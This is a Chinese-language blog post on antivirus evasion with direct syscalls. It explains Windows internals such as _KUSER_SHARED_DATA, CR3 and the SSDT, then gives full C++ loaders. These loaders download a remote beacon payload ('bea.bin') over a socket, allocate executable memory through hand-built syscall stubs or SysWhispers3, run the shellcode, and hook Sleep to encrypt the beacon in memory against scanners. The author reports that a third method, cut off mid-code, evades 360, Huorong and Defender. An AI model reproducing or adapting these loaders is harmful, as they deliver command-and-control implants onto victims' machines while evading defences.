首页 > 其他分享 >免杀-syscall

免杀-syscall

时间:2024-04-06 22:23:04浏览次数:16  
标签:recvbuf iResult 免杀 syscall char int printf ptr

3x3 syscall

我们windows api的调用,通过层层调用最终还是会进入ntdll的底层函数的调用,再通过syscall快速调用进入0环实现的代码,下面我将记录一些syscall的底层基础知识,最后的代码实现是通过现成项目直接快速调用敏感api,这种现成syscall的项目很多,但是感觉都比较久了免杀效果不太好,得自己再魔改魔改

_KUSER_SHARED_DATA

我们在3环调用的api只是起接口的作用,真正的实现都在0环里
image.png
3环进0环的寄存器和堆栈是会改变的
所以系统在User层和Kernel层分别定义了一个_KUSER_SHARED_DATA结构区域,用于User层和Kernel层共享某些数据,它们使用固定的地址值映射,_KUSER_SHARED_DATA结构区域在User和Kernel层地址分别为
User层地址为:0x7ffe0000
Kernel层地址为:0xffdf0000
通过找别人双机调试的代码观察_KUSER_SHARED_DATA结构区域,发现 user层地址0x7ffe0000 和kernel层地址0xffdf0000的内容是一样的,虽然指向的是同一个物理页,但在User 层是只读的,在Kernnel层是可写的

0: kd> dt _KUSER_SHARED_DATA 0x7ffe0000
ntdll!_KUSER_SHARED_DATA
   +0x000 TickCountLow     : 0x83114
   +0x004 TickCountMultiplier : 0xfa00000
   +0x008 InterruptTime    : _KSYSTEM_TIME
   +0x014 SystemTime       : _KSYSTEM_TIME
   +0x020 TimeZoneBias     : _KSYSTEM_TIME
   +0x02c ImageNumberLow   : 0x14c
   +0x02e ImageNumberHigh  : 0x14c
   +0x030 NtSystemRoot     : [260] 0x43
   +0x238 MaxStackTraceDepth : 0
   +0x23c CryptoExponent   : 0
   +0x240 TimeZoneId       : 0
   +0x244 Reserved2        : [8] 0
   +0x264 NtProductType    : 1 ( NtProductWinNt )
   +0x268 ProductTypeIsValid : 0x1 ''
   +0x26c NtMajorVersion   : 5
   +0x270 NtMinorVersion   : 1
   +0x274 ProcessorFeatures : [64]  ""
   +0x2b4 Reserved1        : 0x7ffeffff
   +0x2b8 Reserved3        : 0x80000000
   +0x2bc TimeSlip         : 0
   +0x2c0 AlternativeArchitecture : 0 ( StandardDesign )
   +0x2c8 SystemExpirationDate : _LARGE_INTEGER 0x0
   +0x2d0 SuiteMask        : 0x110
   +0x2d4 KdDebuggerEnabled : 0x3 ''
   +0x2d5 NXSupportPolicy  : 0x2 ''
   +0x2d8 ActiveConsoleId  : 0
   +0x2dc DismountCount    : 0
   +0x2e0 ComPlusPackage   : 0xffffffff
   +0x2e4 LastSystemRITEventTickCount : 0x7f50a6
   +0x2e8 NumberOfPhysicalPages : 0xbff6a
   +0x2ec SafeBootMode     : 0 ''
   +0x2f0 TraceLogging     : 0
   +0x2f8 TestRetInstruction : 0xc3
   +0x300 SystemCall       : 0x7c92e4f0
   +0x304 SystemCallReturn : 0x7c92e4f4
   +0x308 SystemCallPad    : [3] 0
   +0x320 TickCount        : _KSYSTEM_TIME
   +0x320 TickCountQuad    : 0
   +0x330 Cookie           : 0xe996c383

注意:地址为0x7ffe000 + 0x300,指向的结构体 _KUSER_SHARED_DATA 的成员SystemCall, 这里就是user层进入kernel层的关键

CR3寄存器

CR3是一个寄存器,该寄存器内保存有页目录表物理地址,其实CR3内部存放的就是页目录表的内存基地址,运用CR3切换可实现对特定进程内存地址的强制读写操作
通俗点说:在0环里,我在A进程里面的CR3寄存器的地址值换成B进程的CR3的地址值,A进程就可以强制 访问B进程的内存了

  • Cr3寄存器所存储的物理地址指向了一个页目录表(Page-Directory Table,PDT),也就是我们前面所 说的查找时的第一级。在Windows中,一个页的大小通常为4KB,即一个页(页目录表)可以存储1024 个页目录表项(PDE)
  • 而第二级为页表(PTT), 每个页表的大小为4KB,即一个页表可以存储1024个页表项(PTE)

image.png
这里我们可以看一下User层的cr3,可以看到PTE最后的值为5,二进制为0101,对应到上图PTE,image.png
P位为1,表示其物理页有效
R/W位,值为1时表示可读可写,这里值为0,表示不可读写
U/S位,值为0表示特权用户,值为1表示普通用户,这里为1表示普通用户
那么这里为什么看PTE的最后一位5呢?因为5对应着PTE的最低四位
看一下kernel层的CR3
PTE的属性最后是3,即为0011,RW位为1,可读可写。
image.png

怎么判断是否支持快速调用 ?

当通过eax=1来执行cpuid指令时,处理器的特征信息被放在ecx和edx寄存器中,其中edx包含一个 SEP位(11位),该位指明当前处理器是否支持 sysenter/sysexit 指令
11位就是拆edx的倒数第三个值
拆完edx后,SEP位为1,证明支持 sysenter/sysexit
在我们了解了KUSER_SHARED_DATA结构体后,就可以知道call的实际上是Systemcall的地址,通过反汇编查看,通过sysente指令(快速调用)进入0环。操作系统会在系统启动的时候在KUSER_SHARED_DATA结构体的+300的位置,写入一个函数,这个函数就是
KiFastsystemca11或者不支持则写入函数KiIntsystemca11

进0环需要更改CS、SS、ESP、EIP四个寄存器

  • CS的权限由3变为0,意味着需要新的CS
  • SS与CS的权限永远一致,需要新的SS
  • 权限发生切换的时候,堆栈也一定会切换,需要新的ESP
  • 进0环后代码的位置,需要EIP

SSDT表

ssdt是一张表,即系统服务描述符表
SSDT的全称是"System Services Descriptor Table",在内核中的实际名称是KeServiceDescriptorTable
image.png
ssdt表第一个值0x80505450就是ssdt表地址,第三个值0x11c表示表内有多少个内核函数,第四个值0x805058c4是一个指针,指向一个地址,表示的是与上面的内核函数相对应的参数个数,例如第一个为18,参数个数就为18/4=6(十六进制)
image.pngimage.png

手动找调用号

跟一下openprocess举例:
打开od,找到openprocess的地址下断点,
d801c971f32953c5ff9be7cf20bb3c5.pngimage.png
f7跟进去
image.png
可以看到直接kernel32的openprocess调用的就是ntopenprocess(zwopenprocess),不像其他函数可能中间还有几层函数
image.png
可以看到0x26就是函数的调用号
下面ntdll.772D8A30就是sysenter的地址
image.png
接下来就在SSDT表的基址+0x26*4的偏移,找到openprocess0环函数的地址

KeServiceDescriptorTableShadow

在NT4.0以上的Windows操作系统中,默认就存在两个系统服务描述表,这两个调度表对应了两类不同的系统服务,这两个调度表为:KeServiceDescriptorTable和KeServiceDescriptorTableShadow,其中KeServiceDescriptorTable主要是处理来自ring3层kernel32.d11中的系统调用,而KeServiceDescriptorTableShadow则主要处理来自User32.dll和GDI32.dll中的系统调用,并且KeServiceDescriptorTable在ntoskrnl.exe是导出的,而KeServiceDescriptorTableShadow则是没有被Windows操作系统所导出

代码实现:

方法一:(失败)

https://idiotc4t.com/defense-evasion/dynamic-get-syscallid

#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include "detours.h"
#include <iostream>

#pragma comment(lib, "ntdll")
//#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")

//#ifdef _WIN64
//#pragma comment(lib,"detours.x64.lib")
//#else
//#pragma comment(lib,"detours.x86.lib")
//#endif

#define DEFAULT_BUFLEN 4096


// 定义内存页属性结构体
typedef struct {
	LPVOID address;		// 内存地址
	DWORD size;			// 内存大小
}MemoryAttrib;

// 定义内存信息结构体
typedef struct {
	MemoryAttrib memoryPage[3];	// 最多存储3个内存页属性
	int index;					// 内存下标
	int key;					// 加解密key
	BOOL isScanMemory;			// 是否已查找内存页信息
	BOOL isEncrypt;				// 是否已加密
}MemoryInfo;

MemoryInfo memoryInfo;


// 挂钩
void HookSleep();
// 脱钩
void UnHookSleep();

DWORD getShellcode_Run(char* host, char* port, char* resource, OUT char* recvbuf_ptr) {

	DWORD oldp = 0;
	//BOOL returnValue;

	size_t origsize = strlen(host) + 1;
	const size_t newsize = 100;
	size_t convertedChars = 0;
	wchar_t Whost[newsize];
	mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);


	WSADATA wsaData;
	SOCKET ConnectSocket = INVALID_SOCKET;
	struct addrinfo* result = NULL,
		* ptr = NULL,
		hints;
	char sendbuf[MAX_PATH] = "";
	lstrcatA(sendbuf, "GET /");
	lstrcatA(sendbuf, resource);

	char recvbuf[DEFAULT_BUFLEN];
	memset(recvbuf, 0, DEFAULT_BUFLEN);
	int iResult;
	int recvbuflen = DEFAULT_BUFLEN;


	// Initialize Winsock
	iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
	if (iResult != 0) {
		printf("WSAStartup failed with error: %d\n", iResult);
		return 0;
	}

	ZeroMemory(&hints, sizeof(hints));
	hints.ai_family = PF_INET;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;

	// Resolve the server address and port
	iResult = getaddrinfo(host, port, &hints, &result);
	if (iResult != 0) {
		printf("getaddrinfo failed with error: %d\n", iResult);
		WSACleanup();
		return 0;
	}

	// Attempt to connect to an address until one succeeds
	for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {

		// Create a SOCKET for connecting to server
		ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
			ptr->ai_protocol);
		if (ConnectSocket == INVALID_SOCKET) {
			printf("socket failed with error: %ld\n", WSAGetLastError());
			WSACleanup();
			return 0;
		}

		// Connect to server.
		printf("[+] Connect to %s:%s", host, port);
		iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
		if (iResult == SOCKET_ERROR) {
			closesocket(ConnectSocket);
			ConnectSocket = INVALID_SOCKET;
			continue;
		}
		break;
	}

	freeaddrinfo(result);

	if (ConnectSocket == INVALID_SOCKET) {
		printf("Unable to connect to server!\n");
		WSACleanup();
		return 0;
	}

	// Send an initial buffer
	iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
	if (iResult == SOCKET_ERROR) {
		printf("send failed with error: %d\n", WSAGetLastError());
		closesocket(ConnectSocket);
		WSACleanup();
		return 0;
	}

	printf("\n[+] Sent %ld Bytes\n", iResult);

	// shutdown the connection since no more data will be sent
	iResult = shutdown(ConnectSocket, SD_SEND);
	if (iResult == SOCKET_ERROR) {
		printf("shutdown failed with error: %d\n", WSAGetLastError());
		closesocket(ConnectSocket);
		WSACleanup();
		return 0;
	}


	memset(recvbuf_ptr, 0, 400000);
	DWORD total_received = 0;
	// Receive until the peer closes the connection
	do {

		iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
		if (iResult > 0)
		{
			printf("[+] Received %d Bytes\n", iResult);
			memcpy(recvbuf_ptr, recvbuf, iResult);
			recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
			total_received += iResult; // 更新接收到的总字节数
			printf("[+] Received total %d Bytes\n", total_received);
		}

		else if (iResult == 0)
			printf("[+] Connection closed\n");
		else
			printf("recv failed with error: %d\n", WSAGetLastError());


		//RunShellcode(recvbuf, recvbuflen);

	} while (iResult > 0);


	// cleanup
	closesocket(ConnectSocket);
	WSACleanup();

	return total_received;
}

// 查找内存页
void ScanMemoryMap()
{
	// 内存块信息结构体
	MEMORY_BASIC_INFORMATION mbi;

	LPVOID lpAddress = 0;
	HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, GetCurrentProcessId());

	int* index = &memoryInfo.index;

	while (VirtualQueryEx(hProcess, lpAddress, &mbi, sizeof(mbi)))
	{
		// 查找可读可写可执行内存页
		if (mbi.Protect == PAGE_EXECUTE_READWRITE || mbi.Protect == PAGE_EXECUTE && mbi.Type == MEM_PRIVATE)//私有内存(MEM_PRIVATE)
		{
			// 保存内存信息
			memoryInfo.memoryPage[*index].address = mbi.BaseAddress;
			memoryInfo.memoryPage[*index].size = (DWORD)mbi.RegionSize;
			//printf("memoryInfo.BaseAddr = %p address = %p\n", memoryInfo.memoryPage[*index].address, mbi.BaseAddress);
			(*index)++;

			if ((*index) >= 3)
				break;

		}
		// 更新到下一个内存页
		lpAddress = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
	}

	// 更新为已扫描内存
	memoryInfo.isScanMemory = TRUE;


	/* *
	* memoryInfo.index = 2 使用了Stageless Beacon
	* memoryInfo.index = 3 使用了Stage Beacon
	* */


	// 释放shellcode内存页
	VirtualFree(memoryInfo.memoryPage[0].address, 0, MEM_RELEASE);

	printf("Shellcode Address at 0x%p\n\n", memoryInfo.memoryPage[memoryInfo.index - 1].address);
}

typedef NTSTATUS(WINAPI* _SystemFunction033)(
	struct ustring* memoryRegion,
	struct ustring* keyPointer);

struct ustring {
	DWORD Length;
	DWORD MaximumLength;
	PUCHAR Buffer;
} scdata, key;
// 加解密Beacon
void EncryptDecrypt()
{
	// 定位到真正的Beacon内存页
	MemoryAttrib Beacon = memoryInfo.memoryPage[memoryInfo.index - 1];
	DWORD bufSize = Beacon.size;
	unsigned int* buffer = (unsigned int*)(Beacon.address);
	int bufSizeRounded = (bufSize - (bufSize % sizeof(unsigned int))) / 4;

	// 对Beacon进行加密或解密
	_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary("advapi32"), "SystemFunction033");
	char str_key[] = "132abc";
	key.Buffer = (PUCHAR)(&str_key);
	key.Length = sizeof(str_key);
	scdata.Buffer = (PUCHAR)buffer;
	scdata.Length = bufSizeRounded;
	SystemFunction033(&scdata, &key);

	DWORD oldProt;
	memoryInfo.isEncrypt = !memoryInfo.isEncrypt;

	// 已加密
	if (memoryInfo.isEncrypt == TRUE)
	{
		// 将内存页设置为可读可写
		VirtualProtect(Beacon.address, Beacon.size, PAGE_READWRITE, &oldProt);
		printf("[>] Flipped to RW.\n");
	}

	// 未加密
	if (memoryInfo.isEncrypt == FALSE)
	{
		// 将内存页设置为可读可写可执行
		VirtualProtect(Beacon.address, Beacon.size, PAGE_EXECUTE_READWRITE, &oldProt);
		memoryInfo.key = rand();	// 更新密钥
		printf("[<] Flipped back to RX/RWX.\n");
	}

	printf("%s\n\n", memoryInfo.isEncrypt ? "[>] Encoding..." : "[<] Decoding...");
}

// 定义Sleep原函数
VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
VOID WINAPI MySleep(DWORD dwMilliseconds)
{
	UnHookSleep();

	if (!memoryInfo.isScanMemory)
		ScanMemoryMap();

	printf("XOR32 key: %X\n", memoryInfo.key);
	EncryptDecrypt();

	printf("===> MySleep(%d)\n\n", dwMilliseconds);
	Sleep(dwMilliseconds);

	EncryptDecrypt();
	HookSleep();
}

// 挂钩
void HookSleep()
{
	DetourRestoreAfterWith();
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourAttach((void**)&OldSleep, MySleep);
	DetourTransactionCommit();
}
// 脱钩
void UnHookSleep()
{
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourDetach((void**)&OldSleep, MySleep);
	DetourTransactionCommit();
}
// 初始化内存页信息
void InitMemoryInfo()
{
	srand(time(NULL));
	memoryInfo.index = 0;
	memoryInfo.isScanMemory = FALSE;
	memoryInfo.isEncrypt = FALSE;
	memoryInfo.key = rand();	// 随机key
}
BOOL RegkeyExist(HKEY hKey, char* regkey_s) {
	HKEY regkey;
	DWORD ret = RegOpenKeyEx(hKey, regkey_s, 0, KEY_READ, &regkey);
	if (ret == ERROR_SUCCESS) {
		RegCloseKey(regkey);
		return TRUE;
	}
	return FALSE;
}

char syscall_sc[] = {
	0x4c, 0x8b, 0xd1,
	0xb8, 0xb9, 0x00, 0x00, 0x00,   //系统调用号
	0x0f, 0x05,                     //syscall
	0xc3                            //ret
};

typedef LPVOID(WINAPI* fnNtAllocateVirtualMemory)(
	HANDLE ProcessHandle,							//进程句柄
	PVOID* BaseAddress,								//指向开辟内存的指针,二级指针
	ULONG_PTR ZeroBits,								//不知道啥用直接置零
	PSIZE_T RegionSize,								//指向开辟大小的指针
	ULONG AllocationType,							//内存页
	ULONG Protect									//内存属性
	);

int GetSysCall(LPCSTR FuncName) {
	SIZE_T num;
	char sc[5];
	LPVOID FuncPoint = GetProcAddress(GetModuleHandleA("ntdll.dll"), FuncName);			//得到函数指针
	ReadProcessMemory(GetCurrentProcess(), FuncPoint, &sc, 0x5, &num);				//读取五个字节存到数组
	return sc[4];				//取得syscall号
}

int main(int argc, char** argv)
{
	char* recvbuf_ptr = (char*)malloc(400000);
	char* ip = "";
	char* RemotePort = "5002";
	char* Resource = "bea.bin";
	SIZE_T recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);


	PVOID ptr = NULL;
	printf("%d",GetLastError());
	syscall_sc[4] = GetSysCall("NtAllocateVirtualMemory");
	fnNtAllocateVirtualMemory NtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)&syscall_sc;
	DWORD OldProtected = 0;
	VirtualProtect((LPVOID)syscall_sc, 0x1000, PAGE_EXECUTE_READWRITE, &OldProtected);
	LPVOID lpAddress = NtAllocateVirtualMemory(GetCurrentProcess(), &ptr, 0, &recvbuf_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	//LPVOID lpAddress = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT, PAGE_READWRITE);
	if (!lpAddress) return 0;
	memcpy(lpAddress, recvbuf_ptr, recvbuf_size);
	DWORD oldProtect;
	VirtualProtect(lpAddress, recvbuf_size, PAGE_EXECUTE, &oldProtect);

	InitMemoryInfo();
	HookSleep();
	(*(int(*)()) lpAddress)();

	//if (RegkeyExist(HKEY_LOCAL_MACHINE, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WeChat"))
	//{
	//	(*(int(*)()) lpAddress)();
	//}


}

方法二:SysWhispers3

项目地址:https://github.com/klezVirus/SysWhispers3
它的主要提升是支持使用 egg_hunter, 先用垃圾指令代替 syscall,在运行时再从内存中找出来替换 syscall。以及使用 jumper & jumper_randomized 来进行间接 syscall。
-m {embedded,egg_hunter,jumper,jumper_randomized} //任选一种method
-o OUT_FILE //输出路径
使用步骤:
:导出NtAllocateVirtualMemory函数:
python syswhispers.py --functions NtAllocateVirtualMemory -c jumper -o funs/VirtualMemory
导入VS

  • 将生成的H/C/ASM文件拷贝到项目目录中;
  • 在Visual Studio中,点击“Project->Build Customizations...”,然后启用MASM;
  • 在“Solution Exlorer”中,将.h和.c/.asm文件分别以Header和源文件的形式添加到项目中;
  • 点击ASM文件的属性,将“Item Type”设置为“Microsoft Macro Assembler”;

image.pngimage.png
代码示例:
先来头文件看函数名称
image.png
直接使用函数
image.png

#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include "detours.h"
#include <iostream>
#include "jumper.h"

#pragma comment(lib, "ntdll")
//#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")

//#ifdef _WIN64
//#pragma comment(lib,"detours.x64.lib")
//#else
//#pragma comment(lib,"detours.x86.lib")
//#endif

#define DEFAULT_BUFLEN 4096


// 定义内存页属性结构体
typedef struct {
	LPVOID address;		// 内存地址
	DWORD size;			// 内存大小
}MemoryAttrib;

// 定义内存信息结构体
typedef struct {
	MemoryAttrib memoryPage[3];	// 最多存储3个内存页属性
	int index;					// 内存下标
	int key;					// 加解密key
	BOOL isScanMemory;			// 是否已查找内存页信息
	BOOL isEncrypt;				// 是否已加密
}MemoryInfo;

MemoryInfo memoryInfo;


// 挂钩
void HookSleep();
// 脱钩
void UnHookSleep();

DWORD getShellcode_Run(char* host, char* port, char* resource, OUT char* recvbuf_ptr) {

	DWORD oldp = 0;
	//BOOL returnValue;

	size_t origsize = strlen(host) + 1;
	const size_t newsize = 100;
	size_t convertedChars = 0;
	wchar_t Whost[newsize];
	mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);


	WSADATA wsaData;
	SOCKET ConnectSocket = INVALID_SOCKET;
	struct addrinfo* result = NULL,
		* ptr = NULL,
		hints;
	char sendbuf[MAX_PATH] = "";
	lstrcatA(sendbuf, "GET /");
	lstrcatA(sendbuf, resource);

	char recvbuf[DEFAULT_BUFLEN];
	memset(recvbuf, 0, DEFAULT_BUFLEN);
	int iResult;
	int recvbuflen = DEFAULT_BUFLEN;


	// Initialize Winsock
	iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
	if (iResult != 0) {
		printf("WSAStartup failed with error: %d\n", iResult);
		return 0;
	}

	ZeroMemory(&hints, sizeof(hints));
	hints.ai_family = PF_INET;
	hints.ai_socktype = SOCK_STREAM;
	hints.ai_protocol = IPPROTO_TCP;

	// Resolve the server address and port
	iResult = getaddrinfo(host, port, &hints, &result);
	if (iResult != 0) {
		printf("getaddrinfo failed with error: %d\n", iResult);
		WSACleanup();
		return 0;
	}

	// Attempt to connect to an address until one succeeds
	for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {

		// Create a SOCKET for connecting to server
		ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
			ptr->ai_protocol);
		if (ConnectSocket == INVALID_SOCKET) {
			printf("socket failed with error: %ld\n", WSAGetLastError());
			WSACleanup();
			return 0;
		}

		// Connect to server.
		printf("[+] Connect to %s:%s", host, port);
		iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
		if (iResult == SOCKET_ERROR) {
			closesocket(ConnectSocket);
			ConnectSocket = INVALID_SOCKET;
			continue;
		}
		break;
	}

	freeaddrinfo(result);

	if (ConnectSocket == INVALID_SOCKET) {
		printf("Unable to connect to server!\n");
		WSACleanup();
		return 0;
	}

	// Send an initial buffer
	iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
	if (iResult == SOCKET_ERROR) {
		printf("send failed with error: %d\n", WSAGetLastError());
		closesocket(ConnectSocket);
		WSACleanup();
		return 0;
	}

	printf("\n[+] Sent %ld Bytes\n", iResult);

	// shutdown the connection since no more data will be sent
	iResult = shutdown(ConnectSocket, SD_SEND);
	if (iResult == SOCKET_ERROR) {
		printf("shutdown failed with error: %d\n", WSAGetLastError());
		closesocket(ConnectSocket);
		WSACleanup();
		return 0;
	}


	memset(recvbuf_ptr, 0, 400000);
	DWORD total_received = 0;
	// Receive until the peer closes the connection
	do {

		iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
		if (iResult > 0)
		{
			printf("[+] Received %d Bytes\n", iResult);
			memcpy(recvbuf_ptr, recvbuf, iResult);
			recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
			total_received += iResult; // 更新接收到的总字节数
			printf("[+] Received total %d Bytes\n", total_received);
		}

		else if (iResult == 0)
			printf("[+] Connection closed\n");
		else
			printf("recv failed with error: %d\n", WSAGetLastError());


		//RunShellcode(recvbuf, recvbuflen);

	} while (iResult > 0);


	// cleanup
	closesocket(ConnectSocket);
	WSACleanup();

	return total_received;
}

// 查找内存页
void ScanMemoryMap()
{
	// 内存块信息结构体
	MEMORY_BASIC_INFORMATION mbi;

	LPVOID lpAddress = 0;
	HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, GetCurrentProcessId());

	int* index = &memoryInfo.index;

	while (VirtualQueryEx(hProcess, lpAddress, &mbi, sizeof(mbi)))
	{
		// 查找可读可写可执行内存页
		if (mbi.Protect == PAGE_EXECUTE_READWRITE || mbi.Protect == PAGE_EXECUTE && mbi.Type == MEM_PRIVATE)//私有内存(MEM_PRIVATE)
		{
			// 保存内存信息
			memoryInfo.memoryPage[*index].address = mbi.BaseAddress;
			memoryInfo.memoryPage[*index].size = (DWORD)mbi.RegionSize;
			//printf("memoryInfo.BaseAddr = %p address = %p\n", memoryInfo.memoryPage[*index].address, mbi.BaseAddress);
			(*index)++;

			if ((*index) >= 3)
				break;

		}
		// 更新到下一个内存页
		lpAddress = (LPVOID)((DWORD_PTR)mbi.BaseAddress + mbi.RegionSize);
	}

	// 更新为已扫描内存
	memoryInfo.isScanMemory = TRUE;


	/* *
	* memoryInfo.index = 2 使用了Stageless Beacon
	* memoryInfo.index = 3 使用了Stage Beacon
	* */


	// 释放shellcode内存页
	VirtualFree(memoryInfo.memoryPage[0].address, 0, MEM_RELEASE);

	printf("Shellcode Address at 0x%p\n\n", memoryInfo.memoryPage[memoryInfo.index - 1].address);
}

typedef NTSTATUS(WINAPI* _SystemFunction033)(
	struct ustring* memoryRegion,
	struct ustring* keyPointer);

struct ustring {
	DWORD Length;
	DWORD MaximumLength;
	PUCHAR Buffer;
} scdata, key;
// 加解密Beacon
void EncryptDecrypt()
{
	// 定位到真正的Beacon内存页
	MemoryAttrib Beacon = memoryInfo.memoryPage[memoryInfo.index - 1];
	DWORD bufSize = Beacon.size;
	unsigned int* buffer = (unsigned int*)(Beacon.address);
	int bufSizeRounded = (bufSize - (bufSize % sizeof(unsigned int))) / 4;

	// 对Beacon进行加密或解密
	_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary("advapi32"), "SystemFunction033");
	char str_key[] = "132abc";
	key.Buffer = (PUCHAR)(&str_key);
	key.Length = sizeof(str_key);
	scdata.Buffer = (PUCHAR)buffer;
	scdata.Length = bufSizeRounded;
	SystemFunction033(&scdata, &key);

	DWORD oldProt;
	memoryInfo.isEncrypt = !memoryInfo.isEncrypt;

	// 已加密
	if (memoryInfo.isEncrypt == TRUE)
	{
		// 将内存页设置为可读可写
		VirtualProtect(Beacon.address, Beacon.size, PAGE_READWRITE, &oldProt);
		printf("[>] Flipped to RW.\n");
	}

	// 未加密
	if (memoryInfo.isEncrypt == FALSE)
	{
		// 将内存页设置为可读可写可执行
		VirtualProtect(Beacon.address, Beacon.size, PAGE_EXECUTE_READWRITE, &oldProt);
		memoryInfo.key = rand();	// 更新密钥
		printf("[<] Flipped back to RX/RWX.\n");
	}

	printf("%s\n\n", memoryInfo.isEncrypt ? "[>] Encoding..." : "[<] Decoding...");
}

// 定义Sleep原函数
VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
VOID WINAPI MySleep(DWORD dwMilliseconds)
{
	UnHookSleep();

	if (!memoryInfo.isScanMemory)
		ScanMemoryMap();

	printf("XOR32 key: %X\n", memoryInfo.key);
	EncryptDecrypt();

	printf("===> MySleep(%d)\n\n", dwMilliseconds);
	Sleep(dwMilliseconds);

	EncryptDecrypt();
	HookSleep();
}

// 挂钩
void HookSleep()
{
	DetourRestoreAfterWith();
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourAttach((void**)&OldSleep, MySleep);
	DetourTransactionCommit();
}
// 脱钩
void UnHookSleep()
{
	DetourTransactionBegin();
	DetourUpdateThread(GetCurrentThread());
	DetourDetach((void**)&OldSleep, MySleep);
	DetourTransactionCommit();
}
// 初始化内存页信息
void InitMemoryInfo()
{
	srand(time(NULL));
	memoryInfo.index = 0;
	memoryInfo.isScanMemory = FALSE;
	memoryInfo.isEncrypt = FALSE;
	memoryInfo.key = rand();	// 随机key
}
BOOL RegkeyExist(HKEY hKey, char* regkey_s) {
	HKEY regkey;
	DWORD ret = RegOpenKeyEx(hKey, regkey_s, 0, KEY_READ, &regkey);
	if (ret == ERROR_SUCCESS) {
		RegCloseKey(regkey);
		return TRUE;
	}
	return FALSE;
}

int main(int argc, char** argv)
{
	char* recvbuf_ptr = (char*)malloc(400000);
	char* ip = "";
	char* RemotePort = "5002";
	char* Resource = "bea.bin";
	int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);
	
	HANDLE hProc = GetCurrentProcess();
	LPVOID base_addr = NULL;
	HANDLE thandle = NULL;
	NTSTATUS NTAVM = Sw3NtAllocateVirtualMemory(
		hProc,
		&base_addr,
		0,
		(PSIZE_T)&recvbuf_size,
		MEM_COMMIT | MEM_RESERVE,
		PAGE_READWRITE);
	//LPVOID lpAddress = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT, PAGE_READWRITE);
	if (!base_addr) return 0;

	//memcpy(base_addr, recvbuf_ptr, recvbuf_size);
	Sw3NtWriteVirtualMemory(hProc, base_addr, recvbuf_ptr, recvbuf_size,NULL);

	DWORD oldProtect;
	//VirtualProtect(base_addr, recvbuf_size, PAGE_EXECUTE, &oldProtect);
	Sw3NtProtectVirtualMemory(hProc,&base_addr, (PSIZE_T)&recvbuf_size, PAGE_EXECUTE, &oldProtect);

	InitMemoryInfo();
	HookSleep();
	(*(int(*)()) base_addr)();

	//if (RegkeyExist(HKEY_LOCAL_MACHINE, "SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\WeChat"))
	//{
	//	(*(int(*)()) lpAddress)();
	//}
		
	
}

方法三:远程加载+syscall

效果:360动静态免杀,火绒动静态免杀,defender静态免杀,动态上线完几秒后就掉了
image.png

#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include "syscalls_mem.h"
#include <stdlib.h>
#include <psapi.h>
#include <fstream>
#include <iostream>
#include <vector>
#include <sstream>
#include <iomanip>
#include <stdio.h>

#pragma comment(lib, "ntdll")
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")


#define NtCurrentProcess()	   ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

#define _CRT_SECURE_NO_WARNINGS
using namespace std;
#define DEBUG 0

HMODULE GetMainModule(HANDLE);
BOOL GetMainModuleInformation(PULONG64, PULONG64);
void FindAndReplace(unsigned char[], unsigned char[]);
unsigned char* charToUnsignedChar(const char* str) {
    // 获取字符串的长度
    int len = strlen(str);

    // 为 unsigned char[] 分配内存空间
    unsigned char* ustr = new unsigned char[len + 1]; // 需要+1来存储字符串结束符 '\0'

    // 将字符复制到 unsigned char[] 中
